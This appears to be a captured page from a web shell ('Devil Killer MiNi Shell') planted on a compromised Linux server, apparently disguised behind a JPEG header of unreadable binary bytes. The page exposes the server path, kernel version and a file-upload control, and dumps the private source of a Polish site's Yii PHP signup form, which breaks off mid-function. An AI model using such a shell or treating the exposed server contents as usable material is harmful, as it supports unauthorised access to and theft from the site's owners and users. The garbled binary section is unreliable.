JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/models/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/models/SignupForm.php

<?php
namespace frontend\models;

use Yii;
use yii\base\Model;
use common\components\validators\CountValidator;
use common\components\validators\Password;
use common\models\Users;
use common\models\UsersContactData;
use common\models\UsersHasPortals;
use common\models\Companies;
use common\models\CompaniesContactData;
use common\models\CompaniesPresentations;
use common\models\CompaniesPresentationsTabs;
use common\models\CompaniesPresentationsHasPresentationsTags;
use common\models\OperatorsHasCompanies;
use common\models\PresentationsPackages;
use common\models\CompaniesOrders;
use common\models\CompaniesOrdersItems;
use common\models\Invoices;
use common\models\InvoicesItems;
use common\models\PresentationsTabs;
use common\models\PresentationsTags;
use common\models\Countries;
use common\models\Emails;
use common\models\Portals;
use common\models\GeoPna;
use common\models\Services;
use common\models\ServicesHasPortals;
use common\models\types\Status;
use common\models\types\CompanyUsageStatus;
use common\models\types\ContactDataType;
use common\models\types\UserProfile;
use common\models\types\CompanyOrderPaymentType;
use common\models\types\CompanyOrderStamp;
use common\models\types\InvoiceGroupItemsType;
use common\models\types\CompanyOrderStatus;
use common\models\types\CompanyOrderItemStatus;
use common\models\types\InvoiceStatus;
use common\models\BusinessSectors;
use common\models\CompaniesPresentationsMirroring;

/**
 * Signup form
 */
class SignupForm extends Model
{
    public $login;
    public $password;
    public $password_retype;
    public $forename;
    public $surname;
    public $email;
    public $mobile_phone;
 
    public $id_portal;
    public $ids_related_portals;
    public $id_package;
    
    public $company_name;
    public $company_id_country;
    public $company_locality;
    public $company_postcode;
    public $company_region;
    public $company_street;
    public $company_building_number;
    public $company_apartment_number;
    public $company_mobile_phone;
    public $company_www;
    public $company_email;
    public $company_tax_id;
    public $company_logo_filename;
    public $company_tags;
    public $company_business_sectors;
    
    public $or_other_invoicing_data;
    public $invoicing_data_company_name;
    public $invoicing_data_company_id_country;
    public $invoicing_data_company_locality;
    public $invoicing_data_company_postcode;
    public $invoicing_data_company_street;
    public $invoicing_data_company_building_number;
    public $invoicing_data_company_apartment_number;
    public $invoicing_data_company_tax_id;
    
    
    public $fileLogo;
    
    public $referrer;
    public $accept_rules;
    public $captcha;

    public $idsRelatedPortals;
    
    /**
     * @inheritdoc
     */
    public function rules()
    {      
        return [
            ['login', 'required'],
            ['login', 'string', 'min' => 3, 'max' => 60],
            ['login', 'unique', 'targetClass' => '\common\models\Users', 'targetAttribute' => 'login'],
                        
            ['password', 'required'],
            ['password', 'string', 'min' => 8, 'max' => 30],
            ['password', Password::className(), 'minStrength' => 3],
            
            ['password_retype', 'required'],
            ['password_retype', 'string', 'min' => 8, 'max' => 30],
            ['password_retype', 'compare', 'compareAttribute' => 'password'],
            
            ['forename', 'required'],
            ['forename', 'string', 'min' => 2, 'max' => 30],
            
            ['surname', 'required'],
            ['surname', 'string', 'min' => 2, 'max' => 40],
            
            ['email', 'required'],
            ['email', 'string', 'min' => 6, 'max' => 60],
            ['email', 'email'],
            
            ['mobile_phone', 'required'],
            [
                'mobile_phone', 
                'match', 
                'pattern' => '/^[0-9]{9}$/i',
                'when' => function($model) { return $model->company_id_country === 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-company_id_country').value === 'PL'; }", 
                'message' => \Yii::t('frontend', 'Niepoprawny format numeru telefonu komórkowego. Przykład dla Polski: {example}.', ['example' => '123456789'])
            ],
            [
                'mobile_phone', 
                'match', 
                'pattern' => '/^\+[0-9]{9,15}$/i',
                'when' => function($model) { return $model->company_id_country !== 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-company_id_country').value !== 'PL'; }", 
                'message' => \Yii::t('frontend', 'Niepoprawny format numeru telefonu komórkowego. Jeżeli numer dotyczy innego kraju niż Polska, to wybierz poniżej w adresie kraj. Przykład: {example}.', ['example' => '+49123456789'])
            ],
            
            ['referrer', 'default'],
            ['referrer', 'string', 'min' => 2, 'max' => 60],
            
            ['accept_rules', 'required', 'message' => \Yii::t('frontend', 'Aby dokończyć rejestrację pole musi być zaznaczone.')],
            
            ['captcha', 'required'],
            ['captcha', 'captcha', 'captchaAction' => 'index/captcha'],
            
            ['id_portal', 'required'],
            ['id_portal', 'number', 'integerOnly' => true, 'min' => 1],
            ['id_portal', 'exist', 'targetClass' => Portals::className(), 'targetAttribute' => 'id_portal'],
            
            ['ids_related_portals', 'default'],
            ['ids_related_portals', 'each', 'rule' => ['number', 'integerOnly' => true, 'min' => 1]],
            ['ids_related_portals', 'each', 'rule' => ['exist', 'targetClass' => Portals::className(), 'targetAttribute' => 'id_portal', 'filter' => ['id_portal' => $this->idsRelatedPortals]]],
            
            ['id_package', 'required'],
            ['id_package', 'string', 'max' => 30],
            ['id_package', 'exist', 'targetClass' => PresentationsPackages::className(), 'targetAttribute' => 'id_package'],
            
            ['company_name', 'required'],
            ['company_name', 'string', 'min' => 3, 'max' => 255],
            
            ['company_id_country', 'required'],
            ['company_id_country', 'string', 'min' => 2, 'max' => 2],
            ['company_id_country', 'exist', 'targetClass' => Countries::className(), 'targetAttribute' => 'id_country'],
            
            ['company_locality', 'required'],
            ['company_locality', 'string', 'min' => 3, 'max' => 60],
            
            ['company_postcode', 'required'],
            ['company_postcode', 'string', 'max' => 10],
            
            ['company_region', 'required'],
            ['company_region', 'string', 'min' => 3, 'max' => 60],
            
            ['company_street', 'required'],
            ['company_street', 'string', 'min' => 3, 'max' => 80],
            
            ['company_building_number', 'required'],
            ['company_building_number', 'string', 'max' => 15],
            
            ['company_apartment_number', 'default'],
            ['company_apartment_number', 'string', 'max' => 10],
            
            ['company_mobile_phone', 'default'],
            [
                'company_mobile_phone', 
                'match', 
                'pattern' => '/^[0-9]{9}$/i',
                'when' => function($model) { return $model->company_id_country === 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-company_id_country').value === 'PL'; }", 
                'message' => \Yii::t('frontend', 'Niepoprawny format numeru telefonu komórkowego. Przykład dla Polski: {example}.', ['example' => '123456789'])
            ],
            [
                'company_mobile_phone', 
                'match', 
                'pattern' => '/^\+[0-9]{9,15}$/i',
                'when' => function($model) { return $model->company_id_country !== 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-company_id_country').value !== 'PL'; }", 
                'message' => \Yii::t('frontend', 'Niepoprawny format numeru telefonu komórkowego. Jeżeli numer dotyczy innego kraju niż Polska, to wybierz poniżej w adresie kraj. Przykład: {example}.', ['example' => '+49123456789'])
            ],
            
            ['company_www', 'default'],
            ['company_www', 'url', 'validSchemes' => ['http', 'https'], 'defaultScheme' => 'http'],
            
            ['company_email', 'default'],
            ['company_email', 'string', 'min' => 6, 'max' => 60],
            ['company_email', 'email'],
            
            ['company_tax_id', 'required'],
            ['company_tax_id', 'string', 'min' => 10, 'max' => 30],
            
            ['company_logo_filename', 'default'],
            ['company_logo_filename', 'string', 'min' => 5, 'max' => 255],

            ['fileLogo', 'image', 'extensions' => ['jpg', 'gif', 'png'], 'maxFiles' => 1, 'maxSize' => 3145728, 'maxWidth' => 1920, 'maxHeight' => 1080, 'checkExtensionByMimeType' => true, 'skipOnEmpty' => true],
            
            ['company_tags', 'required'],
            ['company_tags', 'each', 'rule' => ['string', 'min' => 3, 'max' => 50, 'tooShort' => Yii::t('frontend', 'Słowo kluczowe musi zawierać przynajmniej {min} znaków.'), 'tooLong' => Yii::t('frontend', 'Słowo kluczowe może zawierać maksymalnie {max} znaków.')]],
            ['company_tags', CountValidator::className(), 'min' => 1, 'max' => 50], 
            
            ['company_business_sectors', 'required'],
            ['company_business_sectors', 'each', 'rule' => ['number', 'integerOnly' => true, 'min' => 1]],
            ['company_business_sectors', 'each', 'rule' => ['exist', 'targetClass' => BusinessSectors::className(), 'targetAttribute' => 'id_sector']],
            ['company_business_sectors', CountValidator::className(), 'min' => 1, 'max' => 5],
            
            ['or_other_invoicing_data', 'default', 'value' => 0],
            ['or_other_invoicing_data', 'number', 'integerOnly' => true, 'min' => 0, 'max' => 1],

            ['invoicing_data_company_name', 'required', 'when' => function($model) { return intval($model->or_other_invoicing_data) === 1; }, 'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_other_invoicing_data').checked; }"],
            ['invoicing_data_company_name', 'string', 'min' => 3, 'max' => 255],
                        
            ['invoicing_data_company_id_country', 'required', 'when' => function($model) { return intval($model->or_other_invoicing_data) === 1; }, 'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_other_invoicing_data').checked; }"],
            ['invoicing_data_company_id_country', 'string', 'min' => 2, 'max' => 2],
            ['invoicing_data_company_id_country', 'exist', 'targetClass' => Countries::className(), 'targetAttribute' => 'id_country'],
            
            ['invoicing_data_company_locality', 'required', 'when' => function($model) { return intval($model->or_other_invoicing_data) === 1; }, 'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_other_invoicing_data').checked; }"],
            ['invoicing_data_company_locality', 'string', 'min' => 3, 'max' => 60],
            
            ['invoicing_data_company_postcode', 'required', 'when' => function($model) { return intval($model->or_other_invoicing_data) === 1; }, 'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_other_invoicing_data').checked; }"],
            ['invoicing_data_company_postcode', 'string', 'max' => 10],
            
            ['invoicing_data_company_street', 'required', 'when' => function($model) { return intval($model->or_other_invoicing_data) === 1; }, 'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_other_invoicing_data').checked; }"],
            ['invoicing_data_company_street', 'string', 'min' => 3, 'max' => 80],
            
            ['invoicing_data_company_building_number', 'required', 'when' => function($model) { return intval($model->or_other_invoicing_data) === 1; }, 'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_other_invoicing_data').checked; }"],
            ['invoicing_data_company_building_number', 'string', 'max' => 15],
            
            ['invoicing_data_company_apartment_number', 'default', 'when' => function($model) { return intval($model->or_other_invoicing_data) === 1; }, 'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_other_invoicing_data').checked; }"],
            ['invoicing_data_company_apartment_number', 'string', 'max' => 10],
                        
            ['invoicing_data_company_tax_id', 'required', 'when' => function($model) { return intval($model->or_other_invoicing_data) === 1; }, 'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_other_invoicing_data').checked; }"],
            ['invoicing_data_company_tax_id', 'string', 'min' => 10, 'max' => 30],
        ];
    }
    
    /**
     * @inheritdoc
     */
    public function attributeLabels()
    {
        return [
            'forename' => 'Imię',
            'surname' => 'Nazwisko',
            'email' => 'E-mail',
            'mobile_phone' => 'Telefon',
            'login' => 'Nazwa użytkownika',
            'password' => 'Hasło',
            'password_retype' => 'Powtórz hasło',
            'id_portal' => 'Portal',
            'ids_related_portals' => 'Portale pokrewne',
            'id_package' => 'Pakiet',
            'company_name' => 'Nazwa firmy',
            'company_id_country' => 'Wybierz państwo',
            'company_postcode' => 'Kod pocztowy',
            'company_region' => 'Województwo',
            'company_locality' => 'Miejscowość',
            'company_street' => 'Ulica',
            'company_building_number' => 'Nr budynku',
            'company_apartment_number' => 'Nr lokalu',
            'company_mobile_phone' => 'Telefon komórkowy',
            'company_www' => 'Strona WWW',
            'company_email' => 'E-mail',
            'company_tax_id' => 'NIP',
            'company_logo_filename' => 'Logo firmy',
            'fileLogo' => 'Logo firmy',
            'company_tags' => 'Słowa klucze',
            'company_business_sectors' => 'Branże',
            
            'or_other_invoicing_data' => 'Inne dane do faktury',
            'invoicing_data_company_name' => 'Nazwa firmy',
            'invoicing_data_company_id_country' => 'Wybierz państwo',
            'invoicing_data_company_postcode' => 'Kod pocztowy',
            'invoicing_data_company_locality' => 'Miejscowość',
            'invoicing_data_company_street' => 'Ulica',
            'invoicing_data_company_building_number' => 'Nr budynku',
            'invoicing_data_company_apartment_number' => 'Nr lokalu',
            'invoicing_data_company_tax_id' => 'NIP',
            
            'referrer' => 'Osoba polecająca',
            'accept_rules' => 'Zapoznałam/em się z regulaminem.',
            'captcha' => 'Przepisz kod z obrazka',
        ];
    }
    
    public function loadLogoFile()
    {
        $this->fileLogo = \yii\web\UploadedFile::getInstance($this, 'fileLogo');
        if($this->fileLogo) {
            $this->company_logo_filename = Companies::createLogoFileName($this->fileLogo->baseName, $this->fileLogo->extension);
        }
    }
    
    protected function saveLogoFile($idCompany)
    {
        $newImagePath = null;
        if($this->fileLogo) {
            $dir = Yii::getAlias('@companiesImagesRealPath').'/'.$idCompany.'/';
            if(!file_exists($dir)) {
                mkdir($dir, 0777, true);
            }
            $newImagePath = $dir.$this->company_logo_filename;

            if(!$this->fileLogo->saveAs($newImagePath)) {
                return false;
            } 
        }
        
        return $newImagePath;
    }
    
    public function create()
    {
        $transaction = Yii::$app->db->beginTransaction();
        
        //tworzenie wpisu w tabeli users        
        $modelUser = $this->createUser();
        if($modelUser === false) {
            $transaction->rollBack();            
            return [false, false, false];;
        }
        $idUser = $modelUser->id_user;
        
        //tworzenie wpisów w tabeli users_contact_data
        $idsUserContactData = $this->createUserContactData($idUser);
        if($idsUserContactData === false) {
            $transaction->rollBack();
            return [false, false, false];;
        }
        
        //tworzenie wpisu w tabeli companies        
        $idCompany = $this->createCompany($idUser);
        if(!$idCompany) {
            $transaction->rollBack();
            return [false, false, false];;
        } 
        
        //tworzenie wpisu w tabeli companies_invoicing_data
        $modelCompanyInvoicingData = $this->createCompanyInvoicingData($idCompany);
        if($modelCompanyInvoicingData === false) {
            $transaction->rollBack();
            return [false, false, false];;
        }          
        
        //tworzenie wpisów w tabeli companies_contact_data
        $idsCompanyContactData = $this->createCompanyContactData($idCompany);
        if($idsCompanyContactData === false) {
            $transaction->rollBack();
            return [false, false, false];;
        }
        
        //tworzenie wpisów w tabeli companies_has_business_sectors
        $flag = $this->createCompanyBusinessSectors($idCompany);
        if(!$flag) {
            $transaction->rollBack();
            return [false, false, false];;
        }
        
        //tworzenie wpisu w tabeli companies_has_languages
        $flag = $this->createCompanyLanguages($idCompany);
        if(!$flag) {
            $transaction->rollBack();
            return [false, false, false];;
        }
        
        $portals = [intval($this->id_portal) => true];
        $idsRelatedCompanyPresentations = [];
        $idsRelatedPortals = !empty($this->idsRelatedPortals) ? array_map('intval', $this->idsRelatedPortals) : [];
        $idsSelectedRelatedPortals = !empty($this->ids_related_portals) ? array_map('intval', $this->ids_related_portals) : [];
        
        if(!empty($this->idsRelatedPortals)) {
            foreach($idsRelatedPortals as $idRelatedPortal) {
                $portals[$idRelatedPortal] = in_array($idRelatedPortal, $idsSelectedRelatedPortals) ? true : false;
            }
        }
        
        $operatorsHasAssignedPortals = [];
        $idMainCompanyPresentation = null;
        foreach($portals as $idPortal => $activeFlag) {
            $companyPresentationStatus = $activeFlag === true ? Status::HIDDEN : Status::INACTIVE;
            //tworzenie wpisu w tabeli companies_presentations
            $idCompanyPresentation = $this->createCompanyPresentation($idCompany, $idPortal, $companyPresentationStatus, $idsCompanyContactData);
            if(!$idCompanyPresentation) {
                $transaction->rollBack();
                return [false, false, false];;
            }     
            
            if($this->id_portal === $idPortal) {
                $idMainCompanyPresentation = $idCompanyPresentation;
            }

            //tworzenie wpisów w tabeli companies_presentations_has_presentations_tags
            $flag = $this->createCompanyTags($idCompanyPresentation);
            if(!$flag) {
                $transaction->rollBack();
                return [false, false, false];;
            }

            //tworzenie wpisu w tabeli companies_presentations_tabs
            $flag = $this->createCompanyPresentationTabs($idCompanyPresentation);
            if(!$flag) {
                $transaction->rollBack();
                return [false, false, false];;
            }
            
            if($activeFlag === true) {
                $idsRelatedCompanyPresentations[] = $idCompanyPresentation;
                
                $flag = UsersHasPortals::setActivity($idUser, intval($idPortal));
                if($flag === false) {
                    $transaction->rollBack();
                    return [false, false, false];;
                }
            }
            
            $idOperator = Portals::find()->select(['id_user'])->where(['id_portal' => $idPortal])->limit(1)->scalar();
            if(!empty($idOperator)) {
                $operatorsHasAssignedPortals[$idOperator][] = [
                    'id_portal' => $idPortal,
                    'created_at' => date('Y-m-d H:i:s')
                ];
            }
        }
        
        if(!empty($operatorsHasAssignedPortals)) {        
            //tworzymy wpisy w tabeli operators_has_companies
            foreach($operatorsHasAssignedPortals as $idOperator => $assignedPortals) {
                $modelOperatorHasCompany = new OperatorsHasCompanies(['scenario' => 'create']);
                $modelOperatorHasCompany->id_user = $idOperator;
                $modelOperatorHasCompany->id_company = $idCompany;
                $modelOperatorHasCompany->assigned_portals = $assignedPortals;
                if(!$modelOperatorHasCompany->save()) {
                    $transaction->rollBack();
                    return [false, false, false];;
                }
            }
        }        
        
        if(count($idsRelatedCompanyPresentations) > 1) {
            //tworzymy wpisy w tabeli companies_presentations_mirroring
            $flag = $this->createCompanyPresentationsMirroring($idsRelatedCompanyPresentations);
            if(!$flag) {
                $transaction->rollBack();
                return [false, false, false];;
            }
        }
        
        if($this->id_package !== PresentationsPackages::PACKAGE_STARTER) {            
            //tworzenie wpisów w tabelach: companies_orders oraz companies_orders_items
            $modelOrder = $this->createOrder($modelUser, $modelCompanyInvoicingData, $idMainCompanyPresentation);
            if($modelOrder === false) {
                $transaction->rollBack();
                return [false, false, false];; 
            }
            
            //tworzenie wpisów w tabelach: invoices oraz invoices_items
            $flag = $this->createInvoice($modelCompanyInvoicingData, $modelOrder);
            if(!$flag) {
                $transaction->rollBack();
                return [false, false, false];;
            }
        }
        
        //tworzenie klucza umożliwiające aktywację konta
        $modelUsersActivations = \common\models\UsersActivations::generate($idUser);
        if(empty($modelUsersActivations)) {
            $transaction->rollBack();
            return [false, false, false];
        }
        
        $this->saveLogoFile($idCompany);
                
        $transaction->commit();
        return [$modelUsersActivations, $idCompany, $idUser];
    }
    
    protected function createUser()
    {
        $modelUser = new Users(['scenario' => 'create']);
        $modelUser->login = $this->login;
        $modelUser->generateHashPassword($this->password);
        $modelUser->generateAuthKey();
        $modelUser->forename = $this->forename;
        $modelUser->surname = $this->surname;
        $modelUser->status = Status::INACTIVE;
        $modelUser->profile = UserProfile::COMPANY;
        $modelUser->referrer = $this->referrer;
        $modelUser->settings = ['advertisements_limit' => Yii::$app->params['limitOfFreeAdvertisementsForUser']];
        if(!$modelUser->validate() || !$modelUser->save(false)) {  
            return false;
        } 
        
        return $modelUser;
    }
    
    protected function createUserContactData($idUser)
    {
        $labelsForContactDataTypes = ContactDataType::getValuesWithLabels();
        $idsCompanyContactData = [];
        
        $emailPurposes = [];
        foreach(Emails::$purposesFields as $purposeField) {
            $emailPurposes[$purposeField] = 1;
        }
        $emailPurposes['or_contact_person'] = 0;
        
        $modelUserContactData = new UsersContactData(['scenario' => 'create']);
        $modelUserContactData->id_user = $idUser;
        $modelUserContactData->data_label = ucfirst($labelsForContactDataTypes[ContactDataType::EMAIL]);
        $modelUserContactData->data_value = $this->email;
        $modelUserContactData->data_type = ContactDataType::EMAIL;
        $modelUserContactData->data_order = 1;
        $modelUserContactData->required = 1;
//        $modelUserContactData->settings = json_encode(['purposes' => $emailPurposes]); 
        $modelUserContactData->settings = ['purposes' => $emailPurposes]; //#JSON-hack#
        if(!$modelUserContactData->validate() || !$modelUserContactData->save(false)) {  
            return false;
        } 
        $idsCompanyContactData[] = $modelUserContactData->id_contact_data;
        
        
        $modelUserContactData = new UsersContactData(['scenario' => 'create']);
        $modelUserContactData->id_user = $idUser;
        $modelUserContactData->data_label = ucfirst($labelsForContactDataTypes[ContactDataType::MOBILE_PHONE]);
        $modelUserContactData->data_value = $this->mobile_phone;
        $modelUserContactData->data_type = ContactDataType::MOBILE_PHONE;
        $modelUserContactData->data_order = 2;
        $modelUserContactData->required = 1;
        if(!$modelUserContactData->validate() || !$modelUserContactData->save(false)) {  
            return false;
        } 
        $idsCompanyContactData[] = $modelUserContactData->id_contact_data;
        
        return $idsCompanyContactData;
    }
    
    protected function createCompany($idUser)
    {
        $modelCompany = new Companies(['scenario' => 'create']);
        $modelCompany->id_user = $idUser;
        $modelCompany->id_country = $this->company_id_country;
        $modelCompany->name = $this->company_name;
        if(!empty($this->company_logo_filename)) {
            $modelCompany->logo_filename = $this->company_logo_filename; 
        }
        $modelCompany->street = $this->company_street;
        $modelCompany->building_number = $this->company_building_number;
        if(!empty($this->company_apartment_number)) {
            $modelCompany->apartment_number = $this->company_apartment_number;
        }
        $modelCompany->postcode = $this->company_postcode;
        $modelCompany->locality = $this->company_locality;
        $modelCompany->region = $this->company_region;
        $modelCompany->status = Status::INACTIVE;
        $modelCompany->usage_status = CompanyUsageStatus::FOR_ACCEPTANCE;
        list($lat, $lng) = $this->determineLatAndLng();
        if(!empty($lat)) {
            $modelCompany->lat = $lat;
            $modelCompany->lng = $lng;
        }
        $modelCompany->settings = ['advertisements_limit' => Yii::$app->params['limitOfFreeAdvertisementsForCompany']];
        if(!$modelCompany->validate() || !$modelCompany->save(false)) { 
            return false;
        }  
        
        return $modelCompany->id_company;
    }
    
    protected function createCompanyLanguages($idCompany)
    {
        $modelCompanyHasLanguage = new \common\models\CompaniesHasLanguages(['scenario' => 'create']);
        $modelCompanyHasLanguage->id_company = $idCompany;
        $modelCompanyHasLanguage->id_language = $this->company_id_country === 'PL' ? 'pl' : 'en';
        
        if(!$modelCompanyHasLanguage->validate() || !$modelCompanyHasLanguage->save(false)) { 
            return false;
        } 
        
        return true;
    }
    
    protected function createCompanyInvoicingData($idCompany)
    {
        $modelCompanyInvoicingData = new \common\models\CompaniesInvoicingData(['scenario' => 'create']);
        $modelCompanyInvoicingData->id_company = $idCompany;

        if(!empty($this->or_other_invoicing_data)) {
            $modelCompanyInvoicingData->name = $this->invoicing_data_company_name;
            $modelCompanyInvoicingData->id_country = $this->invoicing_data_company_id_country;
            $modelCompanyInvoicingData->street = $this->invoicing_data_company_street;
            $modelCompanyInvoicingData->building_number = $this->invoicing_data_company_building_number;
            if(!empty($this->invoicing_data_company_apartment_number)) {
                $modelCompanyInvoicingData->apartment_number = $this->invoicing_data_company_apartment_number;
            }
            $modelCompanyInvoicingData->postcode = $this->invoicing_data_company_postcode;
            $modelCompanyInvoicingData->locality = $this->invoicing_data_company_locality;
            $modelCompanyInvoicingData->tax_id = $this->invoicing_data_company_tax_id;
        } else {
            $modelCompanyInvoicingData->name = $this->company_name;
            $modelCompanyInvoicingData->id_country = $this->company_id_country;
            $modelCompanyInvoicingData->street = $this->company_street;
            $modelCompanyInvoicingData->building_number = $this->company_building_number;
            if(!empty($this->company_apartment_number)) {
                $modelCompanyInvoicingData->apartment_number = $this->company_apartment_number;
            }
            $modelCompanyInvoicingData->postcode = $this->company_postcode;
            $modelCompanyInvoicingData->locality = $this->company_locality;
            $modelCompanyInvoicingData->tax_id = $this->company_tax_id;
        }
        $modelCompanyInvoicingData->or_main = 1;
        
        if(!$modelCompanyInvoicingData->validate() || !$modelCompanyInvoicingData->save(false)) {
            return false;
        } 
        
        return $modelCompanyInvoicingData;
    }
    
    protected function createCompanyContactData($idCompany)
    {
        $contactDataTypesLabels = ContactDataType::getValuesWithLabels();
        $idsCompanyContactData = [];
        $order = 1;
        if(!empty($this->company_email)) {
            $emailPurposes = [];
            foreach(Emails::$purposesFields as $purposeField) {
                $emailPurposes[$purposeField] = 1;
            }
            $emailPurposes['or_contact_person'] = 0;
            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
            $modelCompanyContactData->id_company = $idCompany;
            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::EMAIL];
            $modelCompanyContactData->data_value = $this->company_email;
            $modelCompanyContactData->data_order = $order;
            $modelCompanyContactData->data_type = ContactDataType::EMAIL;
            $modelCompanyContactData->required = 0;
